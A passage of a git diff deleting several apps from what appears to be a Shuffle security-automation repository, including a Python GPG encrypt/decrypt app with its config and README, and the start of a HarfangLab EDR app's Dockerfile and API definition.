false - schema: - type: string - - name: recipients - description: List of key fingerprints separated by comma (,) - required: true - multiline: false - schema: - type: string - - name: always_trust - description: Skip key validation and assume that used keys are always fully trusted. - required: true - options: - - "false" - - "true" - schema: - type: bool - - name: decrypt_file - description: Decrypt file with gpg - parameters: - - name: file_id - description: FileID of the encrypted file to decrypt - required: true - multiline: false - schema: - type: file - - name: output_name - description: Name of the decrypted output file - required: true - multiline: false - schema: - type: string - - name: always_trust - description: Skip key validation and assume that used keys are always fully trusted. - required: true - options: - - "false" - - "true" - schema: - type: bool - - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAG4AAABuCAIAAABJObGsAAAACXBIWXMAAC4jAAAuIwF4pT92AAAcmElEQVR42u2dCXSU1dmAZ0nCIktFkE0Fi0u17u1vxbUutS61elzaX1utWrRVq7X9a/XXuiFW7fGXZNbsIUBAkkASAkgSIBiTEEIIgbDn22bf929mvn3+c++dGSbJJCSYYILMuYdzMkwy3/d8773ve9/7LrLYWHpJUkw6+SsmxcbiSzY2CEqiGOckJv7lRCnEiR5GDLAiK0hC4n000I9nUfaSQcBFlBhB8jPifhezHqPfa/M8udVxe6XlJ+vM16013fCl6eYKy2Nb7G80u8uOhnbbo86IEOUlXowDHSNMZd+ZGMLBi5IpxFfh9P80uW8tN0/VE8psTJ6NyXIwmSo+5GpMocLkOeB9+fKeCWr82tXGJducK48Ej3o5RkgKtPQ9QimlcBQkCfNxn3f67qu2npdHZqpxBYDVo1wOqCk1+AQtnqnF5Wpcno0plvfIczCFBldowDuKHEypwqbpicXrzO/t9u5zMmJiZUh+y5mMEt2oJEmcIB3zcZ/s8V5WapisweUqPEONzdDhi1YYnoCzWNXlX300WIXTFRhdfDi4fJ/vzzucd26wXlRETdHgShXkC4dMjU/Q4PMKqXd3eY56OTaxgn4nEio7PcKI1K4gSa6IkNsduLbMmKXCFDnYZC1+TZnxb9+4a8kwGeAiPFA1xiC/z8nuMEc2EuGKHvrL46H1GL0Bo9cdp//V5v31JtvCYipLg8tUACVkiilzsB+vMuoOBLwMmu+x0w/zNKFEE3C/i3223jE9l5BDjtevMX3e6e90MowgcqJ0yMPmHQz8qdF5R7n56lLDgiJqZh4xXU9M1REzcokLCsgflxoWrzXdV2N7eJP9qjLTOXpCBgVThuRUhZ2rJ15pdBIB7jtZOk8HSlGSwpxYjdM/LKEyVXimGszlD9u9FpoP86IpxJceCf1qo21uITURLoIKNa5Qn5jFyYHeV6iwrGxsso6YqIsLZnLI1XimGrvpS3OLNcqLSDalMwQlupkAK+Z0+ecWkgoVlqnGH6ix7jRHOFEiA5y6y3/3eotSjQMFDSHK1b3o9B/xVVKFA/2e7n8VOdjVq4yNJvAVaG05M1CCG/lsr29mHqlQ45M0+LMNTszP8aK03RS5e71lug5Imexk+IY7MlT4jWtMzdaoKMVO27opG9V5TXNi9j4/MG7U2HQ98e8OX4gT8QD38k7XVB2BxFA2CEoV0O99ZvEQh1KFXbnScNjDnrZ1UzZK81qUYqwgfXksdEEhpVBj52jxt1o8NCd2e9hfb7QpodpNP3lVYLLLIOVpucTcQmpaLoGIg0VAjcmHhhJ8LAd7YovdFhbGNUpw7d1u9royoxKafn/a7rTSwjfW6B0Vlsy0CyLUwpkqbE4BeXeVZVm7dzMV7nAwB9xsh4OpJcNvt3puq7RM0wJxGzrNqTr8/zr9jHA6BFM2SiIZYMVHN9mgMsEf2GilgvwOU2RhMSXvD0IFPpMFt4Mf7vbud7O82PfO0SRlBGkzFX663jEzj5CrhkrzkhWGb8CiOeo0ZaMikpJUhdPTtcB2OUdHNFuj+93szevM8v7LItxln5tLvNLo2utkWOGE7yf1zqUUh5A3KhQfCl5aapAPSV+B/fuL253JuTJuUKJ7ttL8/TVWBZywrzS6jvm4B2usGekgKlTYwmKqlgyHWDFBcECFi/CKcOvZYo3eXmlWDEU2VfgUPXHYy422XMpGQSRjFRg9M49QqrFLSwztdubFHU5FunmdocYXrzPvMEXiEIfsiUAP7JCHvbncDB/JyfRPNvZmi4cTxxVKZAC9vNOlUONKNf5MvaOWDJ+j7aevoUhettIIbHVBGu49Jp3EjabIJSWGk66bchV+c4WZCHDCaLIceZTGIH95qQE4wTT4Jx2+hzYC5dNXz6jxaXqiCqeFU93eod9iRanoUHBWHjm4Tleo8dm5xAaMHlXlM5Io0S6t0RyZBh0Ws/PJ15rcF+STCk3fGZelxv+y08UI0re8N1GS3FHht1vtspzBLCTwjRr83TZPFH7jOEApQjNId8CvhLb07ELqpgpzhibNdFtUQn1tjnx70xm5JhvNkZPsPqF+e3KL3RMVxwlKURKl2P+2uBVf9CjUeAb0hPf3OyjU2NP1jiA7ArMtuSl8uLbfMtL3+WHXlRmJADd6XvaRlUpwX3/Z6QLnBwPPtUka/PNO/0j5uhFL/YHARM2gXiUVPr+I6naz40PtIBF5rsE5OMofaIlKjB4pLwPyK3c6mStKDYpBPSMTtXizNTp+UMZif9w2GEqFBj9PRzQYIyPosOFFyRDk7660DG6xKzX4RiI8PlAi8/ClHRClZkCUM3X4DvMIozSG+F+styjUJ0FZg48jlFLs9a9dii8GQzlLjzdZomdRngSlKMXebIYafGCU5+uJFttZlIO+BGgMvdvqOSnK3XZGPIvypCb6R7u9g6OcrSc6nN8BSoUGrx5fKP/T4ZMPqsHn6IkuF3sW5clRgnOxbGwQlHP1RLf7LMohoNR3B2QD7+EUanxeLnDEiiPnozljURYdCg7ii0Uoj/tG0g97BqJEB2Srj4YGCbJQaPD5eSTm50bQQ3OmoZQkEKgmSrHyHhrFRQ60B5+fT+KB70wqpWR44thHuZEIT9LBw1UV1nfAgID5hRQRALEuwggNVgAo76lEKLE03wu/OkODbyTHNkoJHDEKX1HhWjK8hQp/1O6dqCMGkcq5RVS7nTGFeDM9MsMQ5DsczO0V6aUyGQU3Q0+UHg6aQuDzhiBvDwu8OJLnEyOAUpCkSoyeXUBO1hGTdARw9w4eG6XBFxZTi0pGbPywhLq4hJqsSw9RqcJm5ZFP1TmqCNoeFoKcGGTBsEcEmh97KNcdp8/Tg8geOQqYOtnZtEKViNQfkQEDX1N99XJ0qJkN4tV/u8VeidGeqJCMVED8fIxIc2MPZXkPQCkf6di+UxgKFQhWn64jUFx2h4OhOZEXe6VQnEU5cNhqIs4tU41fvsLwxGZ7waEgDk+9+8fMJE+EzqKME1RqgCYBZ7bLQZLPuXnkw7VWVZe/w8HYwwL0UaVx46E3BAkkD9QbIz5GPPNRyvsb+XAVhossPlkLQgQuX2F4sNb6RrN7XQ/tZZKJZZIwgF5GWRqSJNnDwnMNzsc327xnGEo5NJ7RSE5Vee+csgwNfl4+edUq40M11j9vd36217cBp/c4GFckVQAHc5BIiXlNBfkl25wTNfjjW+xnAsqkrSeH2jwzB5uYjU3OwabqidlF5CWlhp+sNd253vL7OscbzR71/kCdIdzpZHp8nD0CrBkUO8inQByK8cuL0nEf96saG8y7wsYrSnTUI0eBgGpsRi5xaQn1szLjL9ZbflfneK/Nm9sdqMLpFmv0sJezhwVORBojOStP5DcPK6MxmZFKc2J5D331aqMchcSosMfGI0qUp5ihxi5ZYXhkk21pu3c9Bqgd93GOiBBgRSRfKJNWTMljTqL8NjsxUZKCrPjxHt+FxRSMTcTQQx0/UgnD1eRqPEONLyiintzqKDoUxP2cNyokNYQI08DF0cmZR48kzEs7zdFHNsFJDXMJUOZAhgr//VbH+EAJE7vwH600vLrT1eVimd6R0aOXdZx8SKwg9fi5d3Z55hWS8kScG4SIzS0g/9DgzO0OjANjSK7CMlXY03WOVluUhu605GwdvVfqMmoL88v3+e8oN0/QQhMKZZ/BfeQzdY5qgm61Rd9odrujwphGqVTjV60yFh4MBlnxNFQRQIpFEMFSG2TFQx42e5//qjLjBBW4EgV0Z0zW4FesMr76tbvdzoR50c+IT251PL7ZNqalUq7Cbik3N1ujgiiNXvEAFNyfqtCpIF+N06/udF1WasiAGZPIXTI7n7y/yvrpXt8RLweVWwwkuHX5p+jGql0JPEMw52txubnDEU1mHEkjxy5pG6KYa0SQ5sTtpsg7uzy3VVjm5pNZWpiJlt2jUGGLSg2v7XR9RYVNIR6t1AL89WqCvniFQa4ewyb6rFziwRorOrQZsYC/hC0pwCnMCZIzIvT4uR2miLrL/3y9c14RyKmSLe+Rq7ApOmJBAfnzDZbXmlz1xnA0vrjEEvMjFhWkLWR4Tj5IAJaPWbty7bHQjWtMnU5GGrkKAWirxwhg8tYZwgWHgu+3eX+z2bZ4tXF+HqmEm8tMNTa/iLql3LykwZnd5d9uiphCPCucsEzRI0VWUdmx0BWlxnhw8NhEKUrSNlNkCxUWpdgILo4SNGhabdGl7d6HN9kXV5ivWWO6Ya3p5nXm+6qsz29zLtvj+4oKd7tZY5D3MwInJI38mHRi0w2edISXPtvrm19IKYF9PoZRSpLkZ8UIL46GkpESSkaEEoq8PmKKPS+llHJKce7GbSNWlPY4mD/UO6BnJCUqfmyjHBWLB52t9zbsJRS7kBaClJIQGeJEfXfg+jWmrDQuu+8fyuHqKATRx4hbqfCjm+3TtIQ8MaPPohzGZlEQQfGdemPkmXrHdD2RcAKlz+Q5i7KXuZq6WfQyQhVGP7bZdhGoiwDPPgepJnEWpZSyUxSgInKEhS4X81aL59o1pikacOKYsixi6AxSfhallKLBU3SOFBVEDBrqn3R4H95onVdIydCBuLpXjTFgt2vxm9aZp+m+N2oHnQImBy+C4pV8yvk/kkRelA662bzuwPPbnDetMy/IJydrkWc+Hm6YPIaUZWPAq1Jm1O4PqPb7Z+qJvgHdZypKXgQJtM4IGI6wYKF5MsAd93EdDqaGoHO7/W80uR+ptS0qNQB1nA2GHJ6dKWE9BwUs/zJFi8/NJa4sNfyyxvqvXd4mSzTCi3udzE/XmhSq74cGl6AB+JUh/Ole3/PbnY9tsT9QY/35OvONq42XFlMz9IQShqyAM0hY1ARJ32QdqJtz1WrjXZWWpzbb/97kzu7y15LgNM2ROBo67OXurbYmItm+H1Ipwr9ABLjd9mgNQRccDHy2x7e0zfNOi/sf37jfavEsbff+p9OnORAoORJcdzz0FRXebY8ecLOYnzOHeE9UDPOgQJ4Ay9qiyrYVGP2zL00ZA6c1n7FrZeohhRRLPWVMHDqmjBSb/ESJW+QBojmxzc68uN2JllH59w1lGq09JJRS6gacEaRuN/t6k/tHKw2ZJy2Td9au7COMyHvkjAhVOP1cg3NhEZWpHlJU4vcdZWpUECeAakYNxsiyPd47Ki2TtMQgyUJnPsohVJOPT95YooKvKAEZrDeEP9jtva8KVP/NgFErchU+vIilcY0STUwxcTrIJxRFwkEbS+pfFkbqswJY/sKc6IoIPT622RrN6fI/VGu7dKVhihbPzB5S3dAzDWWqfIV50RDkuz3sLhuzzRT5igpvJMLlPaGVR0L5B8HO5It9/s87fZ/t9f27w7e03fv3JvfjtbYrVxmn6EHBnbh1+W0gjguUUu/gi9RYDJoTtxrC/2rzPF3vuGOD5eoy0yVF1EX55Pw8ck4eOSsXFEaeriem6IlzdGBM1uGTdLA0ugZEeWRAs1yJ/h2JodDgT3w1NlEy4Jw+yktgCIkBfgQdIN5r816x0jhbT8zW4LO1+GwdMTuXmJ2XGLmDDv1ojefrHKc1pCC1vn6foJ9UlDQn2cKCPSLYw72GIyJQQX4DTq/H6GqcriHCcNDVBPjxux3tDoYTpaGrx4Fuf0gokx0KxIS3Bjlskm9KKb0GoFMnlm6c7pc4wEjTbWYoJxzxSE9gfiECKAAvhcCgKJMuQk9UaLVFa0lac8D/4W7vsj1efXdgMxVusUaPeNkgfKxDa5Jzml5BVkTJYn2GMcRbaMETBS1RTsAduNS3mHDrHfOxTZZoeQ/9SYfv/d3ezzt9a4+Fdpgi7faoOSSkyrUs7b5NlCRHRFh1NPS7OseiEgPMFANZYJkafKqemFNAXlxMLS43/6nRtc/FjJEmLegkcgsVfqDGdtcG610bLKnj7irrA7W2p+ocrzW5P9vr2+dikHxJA7hXeFE64GaX7fHeWmFeUETNyCOzNPHSaOflkRcUkpeXGh7caPt8n48RxAFQQuNuv4u5c4Nlmp5QxmvkA09qXJPCH1F5yil6Ys3xkBQbE22Z0LJTcjg49USyajy7LT7gvWTASmYXFVFvtnjIIN+3Ei78O15GVO8PXLHKOFGD+gOAm81IEEAeUmBO5GB3VlroRBKxrM/SwAjSRiJ8wxqTAppvChDYSd1bbf1rk/t/Wz1vtnhe/dr9q1rbj0oNP9ATk7V42bGxhzIRnjg9j1xYRC0oohYWURcVUvMKyCk6QpEIR85SY0u2O+NV9lIcVBaa/2ezZ7KWgE8Cm6ABAbdP1TnebPG83ep5o9nzwg7n7ZWWCwupLBU+IEpRAkX0f1hqQBuJTA3+8/WWjUSYCnJwOoAVhBHAl+1xMMWHg09ssdcZwmMTpVyNPVnn2GmONlmizVbwb4MpojsQuPFLk/JEqW8iLgrxYw8gSX/9Gpa/h0dDcwvIt1o8u2xRN4hyjJdhCPPgZGmbMfK3JvezDc5QH5RozTYE+RtBnWjwNRO0+DMNjnjidn8VCbd94Xj64LA8kqPFvZ9UYn9tcjMC0LwoEC7ZdGrJdmcm2vPkYPdUWX3xQj3gA5UYPUEbP2i7sJhaeSQY4ePRNX0IoFAkRwRkQvdaK1FHoU/3+iZp48fHN60z434uUUB2AENhgPTBXn7c3jsfcVBLZCjGykAf6I/ydYgS1fc94SSWpHY7c35+vKbtxSsMu2zxqunmEH9bpQUlJEzS4B/s9oLAZTF9Hn7/tBdZ8jqOeLmb1pnkicdVdCg4rCq8Egy863azexzMHgfT7WbZRD3kHj+n3h94r837zi7Pxx2+fS4WXUcfsRUl8Ml2O/j1TifjY8X+XxEVpMOe+FegbIEhokz9mCnEX7zCgOb4+flEDUELid89NxdNbRBwjfu5YUWKypIXkX8wMA2tMjnY4nIzWh2G/hJgZ6Jr15iytEDTLS43e6Jij5/7oM0zI59UwLxOkGu3HJuWS7y600UGeq0Nggjmyx/qHZlqPEsLynZ+3a8EniiBpIdbKs2ZGpjDssJABfmkyAwdpTnELypNoMwDKFno/XxwozWe5paN/afDlwj7Gs7GUYBPe8k2JzoMUYC68E4UgTdclNeUGUGDuxzs/mrrUS/32Cb7JGg2yRO5jOiZT9Lgf4P3mbzSOMo6hyIHWFrzC8n0KH0crIUOLvKiYooKcsNCiWydoz5ubhGFXEQXFlOoLcIBN3vtaiOMkMHOyydhLcPhxdzK0MQJsuJd6y2oa8u5ucSqo0FBGl6x5jjK1SYk17+ssv5miz0L2F/YJDV2bj45I5+cGG/6Ah7Y9DyyLaVe4PBQwhs+FZTwMwUHA1NQdQ8VdnOFxRERYjFQiCY5Ka8tM1pofrjle2ToUnp83OwCCmYJg+QvlOIwrD90AiU0ACbqQLX+aTring2WSozucDB7nUzBoeCVq4yKxHK8tN0bS1T8HT2UfNyMi+ucoz7u9vUWeaLuxPttXrTOqPb7k67MB2usp1CrWob2oV0udiLcJMhV+KUrDLvtzLdBia5pqpb4R5ObCvLJOjg0Jy5t907SxJsRPF3vEKVRQ6nqhRI1MD3sZZ9pcEwGQZdAaK5YZeyJ5yHEPt7jSwZt/bnRRQ+/EJIMrQh7HIwikbp2zWpjl4sdpEdAWpOlD8oMNf7iDleQS7b+jFsPW6jwDD2JInse2WwTRm2Cy9XYvTVW/YGAZn8ge5//43bfU3WOhcWGTE18B3lJqaH0SJBP7MTfbvWg2COlBn+/zTtQi55k2kt/An1RytT49WtMqJLfICE+NCeiwQon9MaJtVKFXb7SaETqNbX4hwQ6ksxCNl0O9utNtmRFgdGQStRQSg5zoRSJkwzQcE+N31ph2QgVdxLGOxAl2uMta/eywiCGbSzKxwmEgaz0m+CoZJVcjf94laETKHApvTzGYq3W6EuNrhd2OP+43VlN0PHlPAWlIge7YY0JtBnoFwHQaouef3pQosoaiaGA8UYZGhAj+Har54CbFVJ7P8di/+7wxaVSjb/V6okOKJXxEPcXtjtf2O58eafLFIqfasU1uCnEXwKbASlU+MKE2pHST+3YisPBc7QgD1iZg33U7kUWRh+U1wOUYn+Uu04XSrkau26t6bltzue2OV9udC1t9606GmqzMc4IyKIWU9I54kXquwOKRJGOx2D6ozgASndU/O1WR4YKtJycoMH3gmwlcA2yRMtK6YFqK7qNGblkeU/6JiDovdIjwck6Ark8lkGU0thDmarBk0GaKZvXlAuDo5YMz4QXBlskmGxhYSCUnqj4ZJ0D3f4ELdGZihKZ6C/tcCKLL0OFv9roQhaZlFYqIUpkbH/U7judKI+fgl15siolaFYd9nI/XWNCQewJE11K53wAKP+7zoHisrO0eBylFJ/ggOYGHNRVQ4Bm5JF7E5/4blAWkDvN0T4lqwQJtHC+ad2pm+iDWHLuqPhMvTMDbcxysGcbnAmlNByU6DrIAH9PlTW5YL/R7EHHIKlATxvKufnkNlMkVZhQcUXQqCgxDUcQJfr18h7QBwztcecXUtuMkbSur5OgREdC+u7ANF38b83OJ4sOAW9dr9oWo4kyykvP18dR/kBPrDoaEhKrG1qCqvDwnAIS2q3YyKKUEmeCD9Xa0CqnVOG3VVhabVGht2NQHApKlMn2dIMDuewVsLXqKztBvzs+cWKJTjJLDgcnjTRKFCD59yZ3vJO6Cr+32trtZmkORCoc8nDvt3nPLyAVsKLnaEhlwlZj5hVSCJMiB3Tzq8ZppIKSW0+AcuvAKJM0u1zstWXGeLwsbEB9S4Xl3TZPvSFCBDhDEATcf9rhm6jFRxYl+va1x0LIYyhTYVka/OZy80uNrpd3um6tsEyBPXIXrjBcCTuWKkYcZSLXN787MC/hGJarsDn55ONb7Or9/oNuloLnwHudzC9Ba0VsEJTxad5qY+6psk7QnDily1KDE8v5xdQFJYYLiqhz88iku6yvXVmWaqIPgLIgjvLhFJRJ8/bRTTZlSvqNEvnooIfp/Hwy72DgsS121CV8wQAop8FKmjJ13I83rC55wLvMiyWHg/MLSUWiRJdSjZ+jJeYWUBcUUxeWGEAf88QymB5lqteeCvIvN7oWFINI5HjZztSu5/AoLkONz8ojv+j0JVF2Aak0KnIwZTZ2fZnJnQ5liy06K49Uwpi0h2p7o4Sf6fFzd2+AfXFhLQEFLPM5SUv8bJ257FgI9NXZYEW7l4uK0qAshoe3Svi7rze5TgElWpo34PT91daZ0GmtSDQuTyEALmCCBl9YYjgEmj0n7Mq08TEo7/KNZvc9G6xzCimlJt5lLEODzyogb62wvLbTVYnRwI+dWOxMIf6DXd4lDc4lDY73d3lDvUNy0F8+6uVea3S9sM35xwaHZn+gVxJ3YqE44Gb/2ey+o9KyoIS6bKXhvmrrh7u9nbCNqyMifLrHh77in9/A6ja9QwqaLNGXdzhf2AZG+fEQWuWHH6ANLsMQ5FcdDT6z1fFfX5qn5cbNBuQ/XFRqeHSTbVm7d4cpEubEAQNdkiFXwDHFg7K4PX6uw8m02ZnddqbDwRzzch5GQA9c7OVYBUe7KJ6NEQYKfIglgtxASGr6BwkdYn5GpIK8OcSjenZCXIGCXtknvkJKYyEm/z4vnmoqUWLt5qGJ5ooIBz1su51pskRbbdEuF6iLAF05YuqsOkkkW689f+94eqG/zYWCsJLhvANcZepnBriNWJo4zdTjsIG/IlmzRBBHoGVjshpmyu3HxHR1EYYaX9kr++M0BhCMkWCF1IzfQQj8PyPmru8ZDJqJAAAAAElFTkSuQmCC diff --git a/gpg-tools/1.1.0/docker-compose.yml b/gpg-tools/1.1.0/docker-compose.yml deleted file mode 100644 index 02b32361..00000000 --- a/gpg-tools/1.1.0/docker-compose.yml +++ /dev/null @@ -1,20 +0,0 @@ -version: "3.4" -services: - hello_world: - build: - context: . - dockerfile: Dockerfile - # image: walkoff_registry:5000/walkoff_app_HelloWorld-v1-0 - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none - restart: "no" - secrets: - - secret1 -# secrets: -# secret1: -# file: ./secret_data -# labels: -# foo: bar diff --git a/gpg-tools/1.1.0/requirements.txt b/gpg-tools/1.1.0/requirements.txt deleted file mode 100644 index e5ff88aa..00000000 --- a/gpg-tools/1.1.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -python-gnupg==0.4.6 -requests==2.25.1 \ No newline at end of file diff --git a/gpg-tools/1.1.0/src/app.py b/gpg-tools/1.1.0/src/app.py deleted file mode 100644 index e8932462..00000000 --- a/gpg-tools/1.1.0/src/app.py +++ /dev/null @@ -1,285 +0,0 @@ -import os -import socket -import asyncio -import time -import random -import json -import subprocess -import requests -import tempfile -import gnupg -import zipfile -import shutil - - -from walkoff_app_sdk.app_base import AppBase - - -class Gpg(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.1.0" - app_name = "Gpg Tools" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def extract_archive(self, zip_file_id, fileformat="zip", password=None): - try: - return_data = {"success": False, "files": []} - to_be_uploaded = [] - item = self.get_file(zip_file_id) - return_ids = None - - self.logger.info("Working with fileformat %s" % fileformat) - with tempfile.TemporaryDirectory() as tmpdirname: - - # Get archive and save phisically - with open(os.path.join(tmpdirname, "archive"), "wb") as f: - f.write(item["data"]) - - # Grab files before, upload them later - - # Zipfile for zipped archive - if fileformat.strip().lower() == "zip": - try: - self.logger.info("Starting zip extraction") - with zipfile.ZipFile(os.path.join(tmpdirname, "archive")) as z_file: - if password: - self.logger.info("In zip extraction with password") - z_file.setpassword(bytes(password.encode())) - - self.logger.info("Past zip extraction") - for member in z_file.namelist(): - filename = os.path.basename(member) - if not filename: - continue - - source = z_file.open(member) - to_be_uploaded.append( - {"filename": source.name.split("/")[-1], "data": source.read()} - ) - - return_data["success"] = True - except (zipfile.BadZipFile, Exception): - return_data["files"].append( - { - "success": False, - "file_id": zip_file_id, - "filename": item["filename"], - "message": "File is not a valid zip archive", - } - ) - else: - return "No such format: %s" % fileformat - - self.logger.info("Breaking as this only handles one archive at a time.") - if len(to_be_uploaded) > 0: - return_ids = self.set_files(to_be_uploaded) - self.logger.info(f"Got return ids from files: {return_ids}") - - for i in range(len(return_ids)): - return_data["archive_id"] = zip_file_id - try: - return_data["files"].append( - { - "success": True, - "file_id": return_ids[i], - "filename": to_be_uploaded[i]["filename"], - } - ) - except: - return_data["files"].append( - { - "success": True, - "file_id": return_ids[i], - } - ) - else: - self.logger.info(f"No file ids to upload.") - return_data["success"] = False - return_data["files"].append( - { - "success": False, - "filename": "No data in archive", - "message": "Archive is empty", - } - ) - - return return_data - - except Exception as excp: - return {"success": False, "message": "%s" % excp} - - def get_auth(self, file_id): - item = self.get_file(file_id) - tmpdirname = f"/tmp/{file_id}" - - # Clean up all old stuff - if os.path.exists(tmpdirname): - shutil.rmtree(tmpdirname, ) - - # Get archive and save physically - os.mkdir(tmpdirname) - with open(os.path.join(tmpdirname, "archive"), "wb") as f: - f.write(item["data"]) - - # Grab files before, upload them later - gpgfound = False - with zipfile.ZipFile(os.path.join(tmpdirname, "archive")) as z_file: - print("Past zip extraction") - for member in z_file.namelist(): - print(member) - if member == ".gnupg/": - gpgfound = True - - z_file.extract(member, tmpdirname) - - os.remove(os.path.join(tmpdirname, "archive")) - - if gpgfound: - tmpdirname = os.path.join(tmpdirname, ".gnupg") - - try: - gpg = gnupg.GPG(gnupghome=tmpdirname) - except TypeError: - gpg = gnupg.GPG(homedir=tmpdirname) - - return gpg - - def cleanup(self, zip_file_id): - - tmpdirname = f"/tmp/{zip_file_id}" - - if os.path.exists(tmpdirname): - shutil.rmtree(tmpdirname) - self.logger.debug(">> Cleanup complete") - - return - - - def decrypt_text( - self, zip_file_id, encrypted_text, password, always_trust - ): - gpg = self.get_auth(zip_file_id) - self.logger.debug(">> Created GPG instance") - - decrypted_text = gpg.decrypt( - encrypted_text, - passphrase=password, - always_trust=always_trust - ) - - # Delete the downloaded keystore - self.cleanup(zip_file_id) - - if decrypted_text.ok: - return {"success": True, "data": decrypted_text.data.decode('utf-8')} - else: - return {"success": False, "error": decrypted_text.stderr } - - - - def encrypt_text( - self, zip_file_id, clear_text, recipients, always_trust - ): - gpg = self.get_auth(zip_file_id) - self.logger.debug(">> Created GPG instance") - - # Build list of recipients from comma-separated string - recipients = recipients.split(',') - - self.logger.debug(f">> Recipients: {recipients}") - - encrypted_text = gpg.encrypt( - clear_text, - recipients=recipients, - always_trust=always_trust - ) - - # Delete the downloaded keystore - self.cleanup(zip_file_id) - - if encrypted_text.ok: - return {"success": True, "data": encrypted_text.data.decode('utf-8')} - else: - return {"success": False, "error": encrypted_text.stderr } - - - def decrypt_file( - self, zip_file_id, password, file_id, output_name, always_trust - ): - gpg = self.get_auth(zip_file_id) - self.logger.debug(">> Created GPG instance") - - if file_id["success"] == False: - return "Error managing files." - - always_trust = True if always_trust.lower() == "true" else False - - ret_decrypt = gpg.decrypt( - file_id["data"], - passphrase=password, - always_trust=always_trust, - ) - - # Delete the downloaded keystore - self.cleanup(zip_file_id) - - if ret_decrypt.ok: - self.logger.debug(">> File decrypted") - - file_id = self.set_files([{"filename": output_name, "data": ret_decrypt.data}]) - if len(file_id) == 1: - file_id = file_id[0] - return {"success": True, "id": file_id} - else: - return {"success": False, "error": ret_decrypt.stderr} - - def encrypt_file( - self, zip_file_id, file_id, output_name, recipients, always_trust - ): - gpg = self.get_auth(zip_file_id) - self.logger.debug(">> Created GPG instance") - - if file_id["success"] == False: - return "Error managing files." - - always_trust = True if always_trust.lower() == "true" else False - - # Build list of recipients from comma-separated string - recipients = recipients.split(',') - - self.logger.debug(f">> Recipients: {recipients}") - - ret_encrypt = gpg.encrypt( - file_id['data'], - recipients=recipients, - always_trust=always_trust - ) - - # Delete the downloaded keystore - self.cleanup(zip_file_id) - - if ret_encrypt.ok: - self.logger.debug(">> File encrypted") - - file_id = self.set_files([{"filename": output_name, "data": ret_encrypt.data}]) - if len(file_id) == 1: - file_id = file_id[0] - return {"success": True, "id": file_id} - else: - return {"success": False, "error": ret_encrypt.stderr} - - -if __name__ == "__main__": - Gpg.run() diff --git a/gpg-tools/README.md b/gpg-tools/README.md deleted file mode 100644 index 16d42d28..00000000 --- a/gpg-tools/README.md +++ /dev/null @@ -1,18 +0,0 @@ -# GPG Tools -GPG tools is a utility app can help with encryption and decryption of text and files. -It requires your own GPG keystore containing private and public keys, along with the password to access the keystore. - -## Authentication -Authentication for the app is necessary in order to decrypt or encrypt files or data. -How this is handled from version 1.1.0 is through a Zip file with all your resources, uploaded to the Shuffle File storage. -The ZIP archive must contain the entire GnuPG Home Directory, named '.gnupg' - -**Required Authentication Arguments:** -- Zip_File_ID: Points to the File ID of the Zip file containing your Private & Public key(s) -- Password: The password that protects your Private Key - -Getting the ZIP's File ID: -1. Create your public & Private key with `gpg --full-gen-key` -2. A GPG Home Dir is created, under `~/.gnupg` -3. Compress the GPH Home Dir `zip -r gpg.zip .gnupg/` -4. Upload the ZIP file `gpg.zip` to Shuffle Files and obtain the FileID for the Zip file. \ No newline at end of file diff --git a/harfanglab-edr/1.0.0/Dockerfile b/harfanglab-edr/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/harfanglab-edr/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/harfanglab-edr/1.0.0/api.yaml b/harfanglab-edr/1.0.0/api.yaml deleted file mode 100644 index 938b0dd7..00000000 --- a/harfanglab-edr/1.0.0/api.yaml +++ /dev/null @@ -1,974 +0,0 @@ -app_version: 1.0.0 -name: HarfangLab EDR -description: The HarfangLab EDR app allows to manage an external HarfangLab EDR stack. -contact_info: - name: "HarfangLab Support Team" - url: https://harfanglab.io - email: support@harfanglab.fr -tags: - - Testing -categories: - - Other -authentication: - required: true - parameters: - - name: base_url - description: URL of the HarfangLab EDR Manager - example: "https://hurukai:8443" - required: true - schema: - type: string - - name: api_key - description: API key - example: "xxxx-xxxx-xxxx-xxxx" - required: true - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string -actions: - - name: isolate_endpoint - description: Isolate an endpoint - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - - name: verify_certificate - description: Certificate verification - required: true - example: 'true' - options: - - false - - true - schema: - type: string - - name: http_proxy - description: HTTP proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: https_proxy - description: HTTPS proxy - required: false - example: 'http://my-proxy:3128' - schema: - type: string - - name: agent_id - description: EDR agent identifier - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - type: string - returns: - schema: - type: string - - name: unisolate_endpoint - description: Reconnect an endpoint - parameters: - - name: base_url - description: HarfangLab EDR Manager's URL - required: true - multiline: false - example: 'https://hurukai:8443/' - schema: - type: string - - name: api_key - description: HarfangLab EDR's API Key - required: true - multiline: false - example: 'xyzawxkjnsdkfjnsdf' - schema: - 